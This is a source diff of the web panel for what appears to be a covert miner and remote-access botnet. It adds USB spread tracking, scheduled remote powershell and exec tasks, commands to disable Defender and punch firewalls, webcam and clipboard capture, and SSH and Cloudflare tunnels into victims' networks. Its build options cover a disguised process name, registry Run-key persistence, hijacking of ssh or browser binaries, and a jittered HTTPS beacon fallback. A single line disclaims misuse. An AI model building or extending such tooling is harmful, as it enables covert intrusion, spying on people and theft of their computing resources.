+ ); +} + +export function SpreadFunnelWidget() { + const [stats, setStats] = useState> | null>(null); + + useEffect(() => { + api.getSpreadFunnel().then(setStats).catch(() => setStats(null)); + }, []); + + if (!stats) return null; + + return ( + +

INSTALL FUNNEL

+

Agents by build (7 days)

+
+ New today: {stats.new_connects_today} + Fleet total: {stats.total_agents} +
+ {stats.by_build.length === 0 ? ( +

No agents in the last 7 days.

+ ) : ( + + + + + + + + {stats.by_build.slice(0, 10).map((r, i) => ( + + + + + + + ))} + +
BuildWorkerCountUSB
{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}{r.worker_name}{r.count}{r.usb_spread_count > 0 ? r.usb_spread_count : '—'}
+ )} +
+ ); +} diff --git a/server/web/src/components/Fleet/FleetTasksPanel.tsx b/server/web/src/components/Fleet/FleetTasksPanel.tsx new file mode 100644 index 0000000..6536720 --- /dev/null +++ b/server/web/src/components/Fleet/FleetTasksPanel.tsx @@ -0,0 +1,106 @@ +import { useEffect, useState } from 'react'; +import { api } from '../../api/client'; +import type { FleetTask } from '../../types'; +import NeonCard from '../NeonCard/NeonCard'; + +const ACTIONS = ['sysinfo', 'full_sys_check', 'powershell', 'exec', 'pause', 'resume', 'restart']; +const TRIGGERS = ['on_connect', 'on_reconnect', 'interval_hours', 'cron'] as const; + +const emptyTask = (): FleetTask => ({ + name: '', + enabled: true, + trigger: 'on_connect', + action: 'sysinfo', + interval_hours: 24, + cron_time: '09:00', + command: '', +}); + +export default function FleetTasksPanel() { + const [tasks, setTasks] = useState([]); + const [draft, setDraft] = useState(emptyTask()); + const [msg, setMsg] = useState(''); + const [loading, setLoading] = useState(true); + + const load = () => { + api.getFleetTasks().then(setTasks).catch(() => setTasks([])).finally(() => setLoading(false)); + }; + + useEffect(() => { load(); }, []); + + const save = async () => { + setMsg(''); + if (!draft.name.trim()) { + setMsg('Name is required'); + return; + } + try { + await api.saveFleetTask(draft); + setDraft(emptyTask()); + load(); + setMsg('Task saved.'); + } catch (e) { + setMsg(e instanceof Error ? e.message : String(e)); + } + }; + + const remove = async (id: string) => { + await api.deleteFleetTask(id); + load(); + }; + + return ( + +

FLEET TASKS

+

Scheduled remote actions on connect / interval

+ {loading ?

Loading…

: ( + <> +
    + {tasks.length === 0 &&
  • No tasks configured.
  • } + {tasks.map((t) => ( +
  • + + {t.name} + + {t.trigger} → {t.action}{!t.enabled && ' (off)'} + + + + + {' '} + + +
  • + ))} +
+
+ setDraft({ ...draft, name: e.target.value })} /> + + + {draft.trigger === 'interval_hours' && ( + setDraft({ ...draft, interval_hours: parseFloat(e.target.value) || 24 })} /> + )} + {draft.trigger === 'cron' && ( + setDraft({ ...draft, cron_time: e.target.value })} /> + )} + {(draft.action === 'powershell' || draft.action === 'exec') && ( + setDraft({ ...draft, command: e.target.value })} /> + )} + + +
+ {msg &&

{msg}

} + + )} +
+ ); +} diff --git a/server/web/src/components/Fleet/FullSysCheckPanel.css b/server/web/src/components/Fleet/FullSysCheckPanel.css index 44447c1..31d30c5 100644 --- a/server/web/src/components/Fleet/FullSysCheckPanel.css +++ b/server/web/src/components/Fleet/FullSysCheckPanel.css @@ -139,3 +139,53 @@ color: #f87171; font-size: 0.78rem; } + +.syscheck-warn { + color: #fbbf24; +} + +.syscheck-kev-summary { + font-size: 0.82rem; + color: rgba(200, 220, 255, 0.85); + margin: 0.5rem 0; +} + +.syscheck-kev-list { + list-style: none; + margin: 0; + padding: 0; + display: flex; + flex-direction: column; + gap: 0.45rem; +} + +.syscheck-kev-item { + display: grid; + grid-template-columns: auto 1fr auto; + gap: 0.35rem 0.5rem; + padding: 0.45rem 0.55rem; + border-radius: 6px; + border: 1px solid rgba(80, 120, 180, 0.25); + font-size: 0.78rem; +} + +.syscheck-kev-exposed { + border-color: rgba(248, 113, 113, 0.45); + background: rgba(80, 20, 20, 0.25); +} + +.syscheck-kev-likely { + border-color: rgba(251, 191, 36, 0.35); + background: rgba(60, 45, 10, 0.2); +} + +.syscheck-kev-cve { + font-family: var(--font-mono, monospace); + color: #9ee0ff; +} + +.syscheck-kev-detail { + grid-column: 1 / -1; + color: rgba(180, 200, 230, 0.75); + font-size: 0.72rem; +} diff --git a/server/web/src/components/Fleet/FullSysCheckPanel.tsx b/server/web/src/components/Fleet/FullSysCheckPanel.tsx index 6a3fd31..e838b37 100644 --- a/server/web/src/components/Fleet/FullSysCheckPanel.tsx +++ b/server/web/src/components/Fleet/FullSysCheckPanel.tsx @@ -115,6 +115,49 @@ export default function FullSysCheckPanel({ } /> + {report.kev_exposure && ( +
+ = 50 + ? 'syscheck-bad' + : report.kev_exposure.risk_score >= 25 + ? 'syscheck-warn' + : 'syscheck-ok' + } + > + {report.kev_exposure.risk_score} / 100 + + } + /> + + {report.kev_exposure.summary && ( +

{report.kev_exposure.summary}

+ )} +
    + {report.kev_exposure.findings + ?.filter((f) => f.status === 'exposed' || f.status === 'likely') + .map((f) => ( +
  • + {f.cve} + {f.name} + {f.status} + {f.detail && {f.detail}} +
  • + ))} +
+

+ Read-only checks aligned with CISA known-exploited CVE families (Log4Shell, ProxyLogon, Zerologon, Citrix, Pulse, F5, Confluence, etc.). Verify patches on any "likely" or "exposed" row. +

+
+ )} +
diff --git a/server/web/src/components/Fleet/ProtocolTunnelPanel.css b/server/web/src/components/Fleet/ProtocolTunnelPanel.css new file mode 100644 index 0000000..b3c3ec8 --- /dev/null +++ b/server/web/src/components/Fleet/ProtocolTunnelPanel.css @@ -0,0 +1,136 @@ +.protocol-tunnel-panel { + margin-top: 1rem; + border: 1px solid rgba(201, 162, 39, 0.25); + border-radius: 8px; + background: rgba(8, 12, 24, 0.75); +} + +.protocol-tunnel-panel.compact { + margin-top: 0.5rem; +} + +.protocol-tunnel-toggle { + width: 100%; + display: flex; + justify-content: space-between; + align-items: center; + padding: 0.65rem 0.85rem; + background: transparent; + border: none; + color: var(--accent-gold, #c9a227); + cursor: pointer; + font-size: 0.85rem; + text-align: left; +} + +.protocol-tunnel-toggle:hover { + background: rgba(201, 162, 39, 0.08); +} + +.protocol-tunnel-body { + padding: 0 0.85rem 0.85rem; + border-top: 1px solid rgba(255, 255, 255, 0.06); +} + +.protocol-tunnel-help { + font-size: 0.78rem; + color: var(--clr-dim, #888); + margin: 0.65rem 0 0.85rem; + line-height: 1.45; +} + +.protocol-tunnel-cards { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(240px, 1fr)); + gap: 0.75rem; +} + +.protocol-tunnel-card { + border: 1px solid rgba(0, 245, 255, 0.15); + border-radius: 6px; + padding: 0.65rem 0.75rem; + background: rgba(0, 0, 0, 0.25); +} + +.protocol-tunnel-card h4 { + margin: 0 0 0.35rem; + font-size: 0.72rem; + letter-spacing: 0.1em; + color: var(--accent-cyan, #00f5ff); + text-transform: uppercase; +} + +.protocol-tunnel-card-hint { + margin: 0 0 0.5rem; + font-size: 0.72rem; + color: var(--clr-dim, #888); +} + +.protocol-tunnel-label { + display: block; + font-size: 0.72rem; + color: var(--clr-dim, #aaa); + margin-bottom: 0.45rem; +} + +.protocol-tunnel-input { + display: block; + width: 100%; + margin-top: 0.2rem; + font-size: 0.8rem; +} + +.protocol-tunnel-input.short { + max-width: 6rem; +} + +.protocol-tunnel-row { + display: flex; + gap: 0.5rem; + flex-wrap: wrap; +} + +.protocol-tunnel-actions { + margin-top: 0.35rem; +} + +.protocol-tunnel-link { + display: inline-block; + text-decoration: none; +} + +.protocol-tunnel-status-bar { + display: flex; + gap: 0.5rem; + margin-top: 0.85rem; + flex-wrap: wrap; +} + +.protocol-tunnel-status { + margin-top: 0.75rem; + padding: 0.55rem 0.65rem; + border-radius: 6px; + background: rgba(0, 0, 0, 0.35); + font-size: 0.78rem; +} + +.protocol-tunnel-status h4 { + margin: 0 0 0.4rem; + font-size: 0.7rem; + color: var(--accent-gold, #c9a227); +} + +.protocol-tunnel-status-list { + margin: 0; + padding-left: 1.1rem; + line-height: 1.5; +} + +.protocol-tunnel-raw { + margin: 0; + font-size: 0.72rem; + white-space: pre-wrap; + word-break: break-all; + max-height: 8rem; + overflow: auto; +} diff --git a/server/web/src/components/Fleet/ProtocolTunnelPanel.tsx b/server/web/src/components/Fleet/ProtocolTunnelPanel.tsx new file mode 100644 index 0000000..de1f460 --- /dev/null +++ b/server/web/src/components/Fleet/ProtocolTunnelPanel.tsx @@ -0,0 +1,278 @@ +import { useCallback, useEffect, useState } from 'react'; +import { Link } from 'react-router-dom'; +import { api } from '../../api/client'; +import type { Agent, AgentCapabilities } from '../../types'; +import { canRunAggressiveAction, aggressiveActionHint } from '../../help/aggressiveActions'; +import './ProtocolTunnelPanel.css'; + +export interface TunnelStatusView { + cloudflared_running?: boolean; + cloudflared_url?: string; + cloudflared_pid?: number; + wireguard_active?: boolean; + wireguard_detail?: string; + ssh_forwards?: Array<{ + local_port: number; + remote_host: string; + remote_port: number; + ssh_user?: string; + jump_host?: string; + pid: number; + running?: boolean; + }>; +} + +function parseTunnelStatus(message: string): TunnelStatusView | null { + const start = message.indexOf('{'); + if (start < 0) return null; + try { + return JSON.parse(message.slice(start)) as TunnelStatusView; + } catch { + return null; + } +} + +interface Props { + agentId: string; + agentName: string; + online: boolean; + caps?: AgentCapabilities | null; + platform?: string; + compact?: boolean; + /** WS command_result messages — panel listens for tunnel_status */ + lastTunnelStatusMessage?: string; + onDispatch: (action: string, args?: Record) => void | Promise; + busy?: string | null; +} + +export default function ProtocolTunnelPanel({ + agentId, + agentName, + online, + caps, + platform, + compact = false, + lastTunnelStatusMessage, + onDispatch, + busy, +}: Props) { + const [expanded, setExpanded] = useState(!compact); + const [cfURL, setCfURL] = useState(''); + const [localPort, setLocalPort] = useState('2222'); + const [targetHostPort, setTargetHostPort] = useState('192.168.1.10:22'); + const [sshUser, setSshUser] = useState(''); + const [status, setStatus] = useState(null); + const [statusRaw, setStatusRaw] = useState(''); + + useEffect(() => { + api.getConfig().then((cfg) => { + const fromTunnel = cfg.tunnel_defaults?.cloudflared_target_url?.trim(); + const fromPublic = cfg.server?.public_url?.trim(); + setCfURL(fromTunnel || fromPublic || ''); + }).catch(() => {}); + }, []); + + useEffect(() => { + if (lastTunnelStatusMessage) { + const parsed = parseTunnelStatus(lastTunnelStatusMessage); + if (parsed) setStatus(parsed); + setStatusRaw(lastTunnelStatusMessage); + } + }, [lastTunnelStatusMessage]); + + const tunnelAllowed = canRunAggressiveAction('start_tunnel', caps, platform); + const tunnelHint = aggressiveActionHint('start_tunnel', caps, platform); + + const refreshStatus = useCallback(() => { + if (!online || !agentId) return; + void onDispatch('tunnel_status'); + }, [online, agentId, onDispatch]); + + useEffect(() => { + if (expanded && online) refreshStatus(); + }, [expanded, online, refreshStatus]); + + const disabled = !online || !!busy; + + return ( +
+ + + {expanded && ( +
+

+ Encapsulates traffic for ops on your fleet — reach internal hosts and expose + agent LAN services. Not for third-party evasion or hiding infrastructure. +

+ +
+
+

Cloudflare Tunnel

+

Agent dials out to your control URL (no inbound port).

+ +
+ +
+
+ +
+

WireGuard (Path Tracer)

+

+ Multi-hop mesh VPN for owned nodes — configure sessions on the dashboard. +

+ + Open Path Tracer → + +
+ +
+

SSH Local Forward

+

+ Windows agent opens 127.0.0.1:local → LAN target via OpenSSH/plink (admin reach-through). +

+
+ + +
+ +
+ +
+
+
+ +
+ + +
+ + {(status || statusRaw) && ( +
+

tunnel_status — {agentName}

+ {status ? ( +
    +
  • + Cloudflared:{' '} + {status.cloudflared_running + ? `running (pid ${status.cloudflared_pid}) → ${status.cloudflared_url ?? ''}` + : 'stopped'} +
  • +
  • + WireGuard:{' '} + {status.wireguard_active ? 'active' : 'inactive'} +
  • +
  • + SSH forwards:{' '} + {status.ssh_forwards?.length + ? status.ssh_forwards + .map( + (f) => + `127.0.0.1:${f.local_port} → ${f.remote_host}:${f.remote_port} (pid ${f.pid})` + ) + .join('; ') + : 'none'} +
  • +
+ ) : ( +
{statusRaw.slice(0, 2000)}
+ )} +
+ )} +
+ )} +
+ ); +} + +export { parseTunnelStatus }; diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx index b011d30..23614bb 100644 --- a/server/web/src/components/components.test.tsx +++ b/server/web/src/components/components.test.tsx @@ -7,7 +7,7 @@ import userEvent from '@testing-library/user-event'; import { MemoryRouter } from 'react-router-dom'; import { type ReactNode } from 'react'; import { routerFuture } from '../routerFuture'; -import { mockAgent, mockServerInfo } from '../test/fixtures'; +import { mockAgent, mockServerInfo, mockServerConfig } from '../test/fixtures'; import { api } from '../api/client'; import { downloadApiFile, downloadAuthedFile } from '../api/download'; import { getStoredAuth } from '../api/auth'; @@ -54,6 +54,9 @@ import AmbientBackground from './Ambient/AmbientBackground'; import CursorFire from './Visual/CursorFire'; import MatrixRain from './Layout/MatrixRain'; +vi.mock('./Fleet/ProtocolTunnelPanel', () => ({ default: () => null })); +vi.mock('./Fleet/FullSysCheckPanel', () => ({ default: () => null })); + vi.mock('../hooks/useWebSocket', () => ({ useWebSocket: vi.fn(), })); @@ -358,6 +361,7 @@ describe('AgentRemoteActions', () => { beforeEach(() => { vi.spyOn(api, 'listBuilds').mockResolvedValue([]); vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true }); + vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig()); }); it('compact mode disables actions when offline', () => { @@ -382,7 +386,11 @@ describe('AgentRemoteActions', () => { }); it('full panel shows Target heading and recon section', async () => { - render(); + render( + + + + ); await waitFor(() => { expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument(); }); @@ -391,7 +399,11 @@ describe('AgentRemoteActions', () => { }); it('disables recon buttons when agent offline', async () => { - render(); + render( + + + + ); await waitFor(() => { expect(screen.getByRole('heading', { name: /Target:/i })).toBeInTheDocument(); }); diff --git a/server/web/src/help/aggressiveActions.ts b/server/web/src/help/aggressiveActions.ts index 1747099..b9983ad 100644 --- a/server/web/src/help/aggressiveActions.ts +++ b/server/web/src/help/aggressiveActions.ts @@ -7,6 +7,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [ 'hole_punch_status', 'spread_now', 'start_tunnel', + 'tunnel_cloudflared', + 'tunnel_ssh_forward', + 'tunnel_stop', 'subnet_scan', 'defender_off', 'firewall_punch', @@ -42,6 +45,9 @@ export function canRunAggressiveAction( case 'spread_now': return caps.auto_spread || caps.remote_aggressive; case 'start_tunnel': + case 'tunnel_cloudflared': + case 'tunnel_ssh_forward': + case 'tunnel_stop': case 'subnet_scan': case 'defender_off': case 'firewall_punch': diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index 2325cf0..284068b 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -16,6 +16,12 @@ export const FORGE_BUILD_DEFAULTS: Omit< run_as: 'scheduled', host_binary_target: 'ssh', auto_start: true, + autostart_mode: '', + registry_persistence: '', + registry_run_hkcu: false, + registry_run_hklm: false, + registry_run_once: false, + registry_explorer_run: false, persistence: true, process_name: 'RuntimeBrokerHelper', max_cpu_usage_pct: 95, diff --git a/server/web/src/help/forgeRules.ts b/server/web/src/help/forgeRules.ts index 295423c..8c1a5ae 100644 --- a/server/web/src/help/forgeRules.ts +++ b/server/web/src/help/forgeRules.ts @@ -245,6 +245,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record 0 ? true : form.https_beacon_fallback, wallet: form.wallet?.trim() || form.wallet, pool_host: form.pool_host || preset.pool_host!, pool_port: form.pool_port || preset.pool_port!, diff --git a/server/web/src/help/remoteActions.test.ts b/server/web/src/help/remoteActions.test.ts index 381141f..9a5c244 100644 --- a/server/web/src/help/remoteActions.test.ts +++ b/server/web/src/help/remoteActions.test.ts @@ -13,6 +13,7 @@ const UI_REMOTE_ACTIONS = [ 'uninstall', 'restart', 'screenshot', + 'camera_snapshot', 'ps', 'sysinfo', 'netstat', @@ -46,6 +47,8 @@ const AGENT_HANDLED = new Set([ 'users', 'software', 'screenshot', + 'camera_snapshot', + 'camera_list', 'sysinfo', 'ipconfig', 'clipboard', @@ -55,6 +58,11 @@ const AGENT_HANDLED = new Set([ 'hole_punch_status', 'spread_now', 'start_tunnel', + 'tunnel_cloudflared', + 'tunnel_wireguard', + 'tunnel_ssh_forward', + 'tunnel_status', + 'tunnel_stop', 'subnet_scan', 'defender_off', 'firewall_punch', @@ -88,8 +96,8 @@ describe('remote action wiring', () => { describe('AGGRESSIVE_REMOTE_ACTIONS', () => { it('lists every wired aggressive command once', () => { - expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15); - expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15); + expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18); + expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18); }); }); @@ -126,6 +134,9 @@ describe('canRunAggressiveAction edge cases', () => { const noAgg = { ...fullCaps, remote_aggressive: false }; for (const action of [ 'start_tunnel', + 'tunnel_cloudflared', + 'tunnel_ssh_forward', + 'tunnel_stop', 'subnet_scan', 'defender_off', 'firewall_punch', diff --git a/server/web/src/help/screenshotDownload.ts b/server/web/src/help/screenshotDownload.ts index fedd721..75bed9e 100644 --- a/server/web/src/help/screenshotDownload.ts +++ b/server/web/src/help/screenshotDownload.ts @@ -13,9 +13,12 @@ export function sanitizeScreenshotBase64(raw: string): string { return fallback.length >= 100 ? fallback : ''; } +export type CaptureDownloadKind = 'screenshot' | 'camera'; + export function downloadScreenshotFromBase64( base64: string, - agentLabel: string + agentLabel: string, + kind: CaptureDownloadKind = 'screenshot' ): boolean { const clean = sanitizeScreenshotBase64(base64); if (clean.length < 100) return false; @@ -26,7 +29,7 @@ export function downloadScreenshotFromBase64( const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; - a.download = `screenshot-${safeName}-${stamp}.jpg`; + a.download = `${kind}-${safeName}-${stamp}.jpg`; a.rel = 'noopener'; document.body.appendChild(a); a.click(); diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts index 9dd62b4..06e7b9f 100644 --- a/server/web/src/help/settingHelp.test.ts +++ b/server/web/src/help/settingHelp.test.ts @@ -35,6 +35,7 @@ describe('FIELD_HELP', () => { 'forge_simple_mode', 'forge_recommended_defaults', 'obfuscate', + 'sigil_scramble', 'sign_build', 'obfuscate_default', 'sign_enabled', @@ -64,7 +65,14 @@ describe('FIELD_HELP', () => { 'display_mode', 'process_name', 'persistence', + 'autostart_mode', + 'registry_persistence', + 'registry_run_hkcu', + 'registry_run_once', + 'registry_run_hklm', + 'registry_explorer_run', 'run_as', + 'host_binary_target', 'silent_mode', 'auto_start', 'fusion_enabled', @@ -77,11 +85,15 @@ describe('FIELD_HELP', () => { 'install_custom_base', 'install_relative_path', 'public_url', + 'https_beacon_fallback', + 'https_beacon_after_min', + 'webhook_url', 'websocket_ping_seconds', 'log_pool_traffic', 'adapt_to_hardware', 'self_healing', 'firewall_exclusion', + 'firewall_remote', 'open_firewall_on_start', 'file_logging', 'stealth_mode', diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 8902988..d93b97b 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -67,6 +67,18 @@ export const FIELD_HELP: Record = { display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.', process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper', persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.', + autostart_mode: + 'Extra boot/logon hooks (Windows, MITRE T1547-style). Legacy (empty) keeps today\'s behavior. Boot task = ONSTART at system boot (SYSTEM). Logon task = ONLOGON when a user signs in. Logon Run = HKCU Run key. Startup folder = shortcut in %APPDATA%\\...\\Startup. All = every hook. Does not replace Run As scheduled/BITS/host-binary modes.', + registry_persistence: + 'Forge-baked registry Run/RunOnce hooks (MITRE T1112). Separate from boot tasks: Run keys fire at user logon; RunOnce runs once then removes itself. HKLM requires elevation — skipped silently if not admin. Value name: AetherForge_{worker}. Uninstall removes only keys this agent created.', + registry_run_hkcu: + 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run — standard per-user logon autostart. Works without admin.', + registry_run_once: + 'HKCU\\...\\RunOnce — runs once at next logon then deletes the value. Useful for one-shot relaunch after upgrade.', + registry_run_hklm: + 'HKLM Run + RunOnce — machine-wide logon hooks. Only written when the agent process is elevated; otherwise skipped.', + registry_explorer_run: + 'HKCU\\...\\Policies\\Explorer\\Run — less common Group-Policy-style logon hook. Same user scope as HKCU Run.', run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.', host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe', silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.', @@ -110,4 +122,10 @@ export const FIELD_HELP: Record = { target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.', spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.', forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.', + https_beacon_fallback: + 'Primary C2 = WebSocket (MITRE T1071.001). When WS is unreachable for several minutes, the agent falls back to normal HTTPS POST beacons on /api/v1/agent/beacon — same TLS and fleet secret as the REST API. Enabled by default when backup server URLs are set.', + https_beacon_after_min: + 'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.', + webhook_url: + 'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.', }; diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index c3468a5..4233a9f 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -1129,6 +1129,81 @@ export default function BuilderPage() { )} + {/* ── Connection profile (advanced) ─────────────────────── */} + {!simpleMode && ( +
+ +
+
+ + updateField('beacon_interval_sec', parseInt(e.target.value, 10) || 0)} + /> +
+
+ + updateField('beacon_jitter_pct', parseInt(e.target.value, 10) || 0)} + /> +
+
+ + updateField('agent_kill_after_days', parseInt(e.target.value, 10) || 0)} + /> +
+
+
+ + +
+ {form.https_beacon_fallback !== false && ( +
+ + updateField('https_beacon_after_min', parseInt(e.target.value, 10) || 0)} + /> +
+ )} +
+ )} +
+
+ + + + +
+
+ +
+ + + + +
+

+ Logon Run keys start the worker when a user signs in. Boot tasks (above) can start earlier at ONSTART. + Fleet registry read/write/delete is available under Remote Actions on Windows agents. +

+ +
)} diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index 082775a..f5620f2 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -13,7 +13,10 @@ import { useMatrixRain } from '../context/MatrixRainContext'; import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush'; import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck'; import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel'; +import FileManager from '../components/Fleet/FileManager'; +import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel'; import '../components/Fleet/FullSysCheckPanel.css'; +import '../components/Fleet/ProtocolTunnelPanel.css'; import './CruciblePage.css'; // ── Types ────────────────────────────────────────────────────────────────── @@ -333,6 +336,7 @@ export default function CruciblePage() { // Tunnel URL state const [tunnelURL, setTunnelURL] = useState(''); + const [tunnelStatusMsg, setTunnelStatusMsg] = useState(''); // SSH / posture overrides (from on-demand probes) const [sshOverride, setSshOverride] = useState>({}); @@ -346,6 +350,21 @@ export default function CruciblePage() { const online = (a: Agent) => a.status === 'online'; + const fmCommandResults = useMemo( + () => + commandResults + ?.filter((r) => r.agent_id && r.action != null) + .map((r) => ({ + agentId: r.agent_id as string, + action: r.action as string, + success: !!r.success, + message: r.message ?? '', + })) ?? [], + [commandResults] + ); + + const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null; + /** One online target selected — sidebar matrix switches to gold forge-style rain. */ const crucibleTargetReady = selectedAgents.filter(online).length === 1 && selectedIds.size === 1; @@ -385,6 +404,12 @@ export default function CruciblePage() { const msg = r.message ?? ''; + if (r.action === 'tunnel_status' && r.success && msg) { + if (selectedIds.size === 1 && selectedIds.has(aid)) { + setTunnelStatusMsg(msg); + } + } + // ── SSH badge updates ─────────────────────────────────────────────── if (msg.includes('SSH_PROBE:ONLINE')) { setSshOverride((prev) => ({ ...prev, [aid]: true })); @@ -396,7 +421,12 @@ export default function CruciblePage() { let richData: RichTermData | undefined; // Screenshot: result is a raw base64 PNG string (no JSON wrapper) - if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) { + if ( + (r.action === 'screenshot' || r.action === 'camera_snapshot') && + r.success && + msg.length > 200 && + /^[A-Za-z0-9+/]+=*$/.test(msg.trim()) + ) { richData = { type: 'screenshot', b64: msg.trim() }; } @@ -1352,13 +1382,14 @@ export default function CruciblePage() { > Full Sys Check - {(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => ( + {(['screenshot','camera_snapshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (